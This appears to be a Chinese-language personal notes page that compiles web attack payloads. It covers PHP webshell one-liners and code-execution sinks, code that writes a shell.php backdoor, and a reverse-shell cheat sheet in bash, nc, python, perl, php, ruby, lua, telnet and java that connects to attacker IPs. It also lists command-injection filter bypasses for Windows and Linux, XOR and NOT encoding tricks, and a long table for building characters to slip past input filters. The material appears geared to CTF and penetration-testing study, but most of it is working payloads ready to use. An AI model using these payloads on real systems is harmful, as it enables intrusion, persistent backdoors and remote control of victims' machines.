我的联系方式
微信Anylike830919
QQ1012001832
邮箱fixaapp@163.com
2021-03-15 06:25:14ans
代码执行:
1、eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>
2、assert()
与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:
示例代码:
<?php
//?cmd=phpinfo()
assert($_REQUEST[cmd]);
?>
在php5中是个函数,在php7里被改为了和eval一样的语言特性。
3、preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使preg_replace() 将 replacement 参数当作 PHP 代码
示例代码:
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>
4、create_function()
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
代码示例:
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
5、array_map()
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
代码示例:
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
6、call_user_func()/call_user_func_array ()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
7、array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
8、usort()、uasort()
和Python中的**kwargs
,类似,在PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。
使用:
php环境>=5.6才能用
例如代码
<?php
eval($_REQUEST['param']);
?>
可以用如下方式来执行命令:
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
post参数:
param=usort(...$_GET);
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
9、文件操作函数
file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件
代码示例:
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
10、动态函数
PHP函数直接由字符串拼接
代码示例:
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
11、${}
执行代码(在双引号中倘若有${}
出现,那么{}内的内容将被当做php代码块来执行。)
方法:${php代码}
${phpinfo()};
命令执行:
1. system() :
system — 执行外部程序(命令行),并且显示输出
这个函数会将结果直接进行输出 (注意:是直接输出区别于返回值,因为这个,我一般不用它),命令成功后返回输出的最后一行,失败返回FALSE
2. shell_exec():
shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
3. exec():
exec — 执行一个外部程序
返回命令执行结果的最后一行内容。不显示回显。如果想要获取命令的输出内容, 请确保使用 output 参数,或者利用这个函数来构建反弹shell。
4. passthru():
passthru — 执行外部程序并且显示原始输出。
5. 反引号
反引号的内容当做字符串处理时可以执行命令:
echo `<命令>`
6. 花括号
{command,}
7.echo命令
echo ls|sh
echo cat /flag|bash
从https://www.cnblogs.com/-mo-/p/11988065.html和https://www.jianshu.com/p/3f1fb6cc6d3c摘录
1.bash(无特殊说明本机均nc -lvvp xxx监听端口)
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
2.nc -e
nc -e /bin/bash 192.168.80.134 1234
3.nc无-e可用管道反弹shell,本机监听两个端口1234和4321,目标主机输入
nc 192.168.80.134 1234 | /bin/bash | nc 192.168.80.134 4321
两个端口分别用来输入和输出
如果只监听一个端口,可以:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
4.python
python -c
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.134",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'
5.perl
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
不依赖/bin/bash:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
6.Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
7.php
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
8.ruby
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
9.exec
分步运行:
exec 5<>/dev/tcp/10.0.0.1/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
直接运行:
0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196>&196 2>&196
10.java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
11.telnet
mknod backpipe p && telnet 10.0.0.1 4444 0<backpipe | /bin/bash 1>backpipe
也可:
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p
也可监听两个端口,目标主机执行:
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
12.Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
13.wget栈溢出
#版本:wget 1.19.2 前
#解释:wget 在下载文件时,如接收到重定向(401未认证)时,会将数据传递给skip_short_body () 函数处理,在该函数中会调用 strtol () 来对每个块的长度进行读取,在 1.19.2 版本之前,skip_short_body () 函数并没有对读取到的 块的长度 的正负进行检查。然后程序使用 MIN 宏在长度跟 512 之间选择一个最小的长度给 contlen,将此长度传给 fd_read () 作为参数向栈上读入相应字节的内容。但是若 某块的长度 为负,经 strtol () 处理后,返回的 size 为有符号整形 (8-byte),最高位为1,MIN () 宏也会认 size 比 512 小,会将此 8-byte 负数作为参数传给 fd_read (),fd_read () 只取其低 4-byte。因此 contlen 可控,栈上写内容的长度也可控,可以造成栈溢出来反弹
14.注解
bash -i 打开一个交互的bash
>& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
linux shell下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。
windows支持:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
可当作空字符的分隔符:
who”ami(双引号)
who%0dami (php环境)
who^ami(^为转义符)
无回显延时注入:
windows ping 127.0.0.1 -n 5 >null
可以通过set设置变量来执行命令:
set a=who
set b=ami
%a%%b%
如果想把它写成一句则可写作如下形式:
set a=who&&set b=ami&& %a%%b%
这种方式有个需要注意的地方,即设置变量时空格也会作为变量值的一部分,例如下面:
set a=who && set b=ami && %a%%b% //变量a赋予的值其实是who (有空格),因此执行不了命令
但是这种方式也有问题,即整条语句执行完之后变量才会被赋值,因此这一条语句最后的%a%%b%其实值未被赋予,需要第二次再输入%a%%b%才可以。
由于web交互的session是一次性的,因此这个无法用于web环境,只能在CMD窗口中使用。
可以用%var:~x,y%获取变量var的从第x个字符开始的y个字符(从0开始)。
也可以用~-x,-y,表示从倒数第x个字符开始,少取y个字符。
C:\Users\DELL>set a=whoami
C:\Users\DELL>%a%
desktop-qb90h72\dell
C:\Users\DELL>%a:~0,2%
'wh' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\Users\DELL>%a:~-5,-3%
'ho' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
这样可以构造许多被禁止的字符,例如空格等都可以通过截取环境变量来获得。
windows自带path环境变量,可以用path变量里的各种字符,例如提取whoami:
C:\Users\DELL>path
PATH=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;D:\GGZero\OpenSSH\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;G:\cocos2d-x\cocos2dx\templates;G:\cocos2d-x\cocos2dx\tools\cocos2d-console\bin;C:\Users\DELL\AppData\Local\Programs\Python\Python36\Scripts\;C:\Users\DELL\AppData\Local\Programs\Python\Python36\;D:\新建文件夹\Tools\WinNT;D:\新;文件夹\MSDev98\Bin;D:;新建文件夹\Tools;D:\M;crosoft Visual Studio\VC98\bin;C:\Users\DELL\AppData\Local\Microsoft\WindowsApps;C:\Users\DELL\AppData\Local\atom\bin;C:\Python27;G:\MATLAB\java;F:\Cyber\phpStudy;C:\Python27\SQLMAP;C:\Users\DELL\AppData\Local\Programs\Python\Python36;C:\Users\DELL\AppData\Local\Programs\Python\Python36\Scripts;G:\米斯特\Burpsuite+1.7.26+Unlimited\curl-7.64.0-win64-mingw\bin;G:\java\jdk1.8.0_241\bin;Sublime Text 3;C:\Python27\Tools\Scripts;G:\Environment\Vagrant\bin;G:\Mr\Nmap\;G:\Anaconda3\Scripts;G:\cocos2d-x\apache-ant-1.10.7\bin;G:\cocos2d-x\WebStorm 2019.2\bin;;C:\Windows\System32;E:\PhpStorm 2019.3.2\bin;;G:\Mr\Burpsuite+1.7.26+Unlimited\yafu-大数分解;G:\Mr\OpenSSL-Win64\bin;G:\java\bin;G:\apache-maven-3.6.3\bin;G:\java\jdk1.8.0_241\jre\bin;C:\Program Files (x86)\Google\Chrome\Application;C:\usr\bin;E:\phantomjs-2.1.1-windows\bin;E:\wamp64\bin\mysql\mysql5.7.21\bin;F:\screenrecord\Video Compresser\ffmpeg\bin;G:\Anaconda3;G:\Anaconda3\Library\bin;
C:\Users\DELL>%path:~82,1%%path:~55,1%%path:~5,1%%path:~8,1%%path:~9,1%%path:~12,1%
desktop-qb90h72\dell
且这个方式在web环境里仍然可用
Linux支持:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
who’’ami(偶数个单引号)
who$1ami(\$代表变量)
who\ami(反斜杠)
{ls,-alt}(大括号代替空格,貌似只能在shell窗口中,web环境里不行)
ls<>alt(用<>代替空格)
无回显延时注入:
linux: sleep 5
比windows简单,不用set命令可以直接赋值,用$表示变量
a=who
b=ami
$a$b
但是linux中可以在一句话中完成赋值和执行:
a=who;b=ami;$a$b
因此能够用在web环境里
还有要注意的一点是,linux里如果给变量赋的值有空格需要用引号包裹:
t=l;j=s;i=" -al";$t$j$i
即一方用nc监听端口:
nc -lvvp 端口
另一方用whois执行命令获得结果:
whois -h ip -p 端口 `命令`
linux中?匹配任意一个字符,*匹配任意0到多个字符
可以从目录找到命令的可执行文件来执行命令:
/*/bin/wh*mi
除此之外,[^a]
表示字符不是a,[0-9]、[abcd]等可以限定范围
像windows里的一样,格式是${var:x:y}
,var表示变量名,x表示起始位置,y表示截取的长度
linux中用<表示输入重定向,就是将<后面的文件取代键盘作为输入设备,而>是输出重定向,将>后面的文件取代屏幕作为输出设备。在有长度限制的shell里使用重定向非常实用。
同时还可以使用<>绕过空格。
可以将命令先用base64编码,再在执行命令的时候加上解码从而执行命令:
`echo d2hvYW1p|base64 -d`
加上``表示将这里面输出的内容作为命令执行
限制文件写入内容时如果可用伪协议可用php://filter/write写入内容,拼接第二个参数的内容
源码就写个<?php eval($_GET['test']);?>
吧。
ascii码表包含了1-127所对应的字符,当数字和字母都被禁了的时候,可以用其他字符求异或来得到字母和数字。可以写脚本找到有用的组合。
从https://www.jianshu.com/p/a68f3f1f30eb找的unicode表里128-255的组合:
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
拼凑多个字符可以用()和.连接,如phpinfo:
?test=((%8F^%FF).(%97^%FF).(%8F^%FF).(%96^%FF).(%91^%FF).(%99^%FF).(%90^%FF))();//phpinfo
也可以直接连起来异或,这样长度更短:
?test=%8F%97%8F%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff();
但直接拼凑phpinfo()字符串在本地wamp环境里成功了但是在VPS的linux上没成功。
字符串变量从php5.3起可以直接当函数执行,例如$a='phpinfo';$a()
(但是php7里assert被改成了语言特性所以无法把assert当作函数执行),同时php7增加了新的调用函数的方法(php5不行,即:
('phpinfo')()
因此我们可以构造eval($_GET['xx']())
然后在URL上增加GET参数xx=phpinfo:
如果用$_GET[‘xx’]不好表示,可以用\${_GET}{xx}来代替:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//$_GET[%ff]();&%ff=phpinfo
这里有一点要注意的是如果写的是$_GET[xx];&xx=phpinfo()是不会执行的:
https://cloud.tencent.com/developer/article/1194018给出了原因:
将字符串对应的01串取反,在执行的时候再取反变回来:
(~%8F%97%8F%96%91%99%90)();//phpinfo()
在php里可以轻松得到任何字符串取反后的编码表示:$a = urlencode(~'phpinfo');
(ps这个也是直接拼凑出”phpinfo()”字符串,在VPS上没成功)
如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。
首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
可以用 /???/?????????匹配该文件,用./???/?????????来执行
文件里写的是要执行的命令,可以是在目录生成新的马等操作。
但往往/tmp目录下的文件没有执行权限,且上传后很快就会删除,因此需要竞争。
短标签代替分号
<?=$a=1?><?=$a?>
相当于<?=$a=1;echo $a;?>
同时短标签有两种,<??>
和<?=?>
。<??>
相当于对<?php>
的替换。而<?=?>
则是相当于<? echo>。例如:
但实际上在PHP5.4以后,无论short_open_tag是否开启,<?=?>
这种写法总是适用的,<??>
这种写法则需要short_open_tag开启才行。
方括号被过滤
$_GET{a}也可
扩展字符
1/0和0/0返回的是float(NAN)和float(INF),转字符串后就变成了"NAN"和"INF",可以用截取等方式得到'A''N''I''F'字符,可以扩展到所有字符。
true和false在php里可以认为是1和0,null也是0,因此true/false就等同于1/0
true和false可以从逻辑表达式得到,随便一个比如a>b,或者构造空数组[]>[]为false,[[]]>[]为true
其他方法包括进制转换、日期函数、数学函数、递增递减++—等
https://www.cnblogs.com/hookjoy/p/10395317.html里有非常详细的描述
https://github.com/l3m0n/Bypass_Disable_functions_Shell有写好的exp,zip文件下载到G:Mr里了
函数禁用列表:
dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link
bypass方式包含:
根本上是由于php的弱类型,对字符用.拼接的时候会自动进行转换成字符串类型。
于是结合上面说的,(1/0)是float类型,但是(1).(1/0)则就变成了字符串类型,输出出来是1INF。再用[]或者{}即可取其中某一个字符。
如果可以用函数那就可以用substr等函数截取。
貌似只有php7可以,php5不行
转换表(摘自https://www.anquanke.com/post/id/207492):
<?php
error_reporting(0);
$_00 = '((0).(0)){0}&((0/0).(1)){1}';//0000 0000
$_10 = '((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))';//0001 0000
$_20 = '(((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1})';//0010 0000 space
$_21 = '(((1).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0001 !
$_22 = '(((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0010 "
$_23 = '(((3).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0011 //
$_24 = '(((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3})';//0010 0100 $
$_25 = '(((5).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0101 %
$_26 = '(((6).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0110 &
$_27 = '(((7).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0111 '
$_28 = '(((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1000 (
$_29 = '(((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1001 )
$_2a = '((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))|((((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1010 *
$_2b = '((9999999999*999999999).(0)){12}';//0010 1011 +
$_2c = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1100 ,
$_2d = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1101 -
$_2e = '((3333/4).(0)){3}';//0010 1110 .
$_2f = '((3333/4).(0)){3}|((9999999999*999999999).(0)){12}';//0010 1111 /
$_30 = '((0).(0)){0}';//0011 0000 0
$_31 = '((1).(0)){0}';//0011 0001 1
$_32 = '((2).(0)){0}';//0011 0010 2
$_33 = '((3).(0)){0}';//0011 0011 3
$_34 = '((4).(0)){0}';//0011 0100 4
$_35 = '((5).(0)){0}';//0011 0101 5
$_36 = '((6).(0)){0}';//0011 0110 6
$_37 = '((7).(0)){0}';//0011 0111 7
$_38 = '((8).(0)){0}';//0011 1000 8
$_39 = '((9).(0)){0}';//0011 1001 9
$_3a = '(((8).(0)){0})|(((2).(0)){0})';//0011 1010 :
$_3b = '(((8).(0)){0})|(((3).(0)){0})';//0011 1011 ;
$_3c = '(((8).(0)){0})|(((4).(0)){0})';//0011 1100 <
$_3d = '(((8).(0)){0})|(((5).(0)){0})';//0011 1101 =
$_3e = '(((8).(0)){0})|(((6).(0)){0})';//0011 1110 >
$_3f = '(((8).(0)){0})|(((7).(0)){0})';//0011 1111 ?
$_40 = '((0/0).(1)){1}&((0/0).(1)){0}';//0100 0000 @
$A = '((0/0).(1)){1}';//0100 0001 A
$B = '(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))';//0100 0010 B
$C = '((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))';//0100 0011 C
$D = '(((0/0).(1)){0}&((9999999999*999999999).(0)){11})';// 0100 0100 D
$E = '((9999999999*999999999).(0)){11}';//0100 0101 E
$F = '(((1/0).(0)){2})';//0100 0110 F
$G = '(((0/0).(1)){1})|(((1/0).(0)){2})';//0100 0111 G
$H = '((((1/0).(0)){0})&((0/0).(1)){0})';//0100 1000 H
$I = '(((1/0).(0)){0})';//0100 1001 I
$J = '((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1010 J
$K = '(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1011 K
$L = '((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1100 L
$M = '((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1101 M
$N = '((0/0).(1)){0}';//0100 1110 N
$O = '((0/0).(1)){1}|((0/0).(1)){0}';//0100 1111 O
$P = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}&((0/0).(1)){0})';//0101 0001 P
$Q = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1})';//0101 0001 Q
$R = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))';//0101 0010 R
$S = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))))';//0101 0011 S
$T = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){0}&((9999999999*999999999).(0)){11}))';//0101 0100 T
$U = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((9999999999*999999999).(0)){11})';//0101 0101 U
$V = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){2}))';//0101 0110 V
$W = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){1})|(((1/0).(0)){2}))';//0101 0111 W
$X = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((1/0).(0)){0})&((0/0).(1)){0}))';//0101 1000 X
$Y = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){0}))';//0101 1001 Y
$Z = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1010 Z
$_5b = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1011 [
$_5c = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1100
$_5d = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1101 ]
$_5e = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){0})';//0101 1110 ^
$_5f = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}|((0/0).(1)){0})';//0101 1111 _
$_60 = '(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 0000 `
$a = '(((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1}';//0110 0001 a
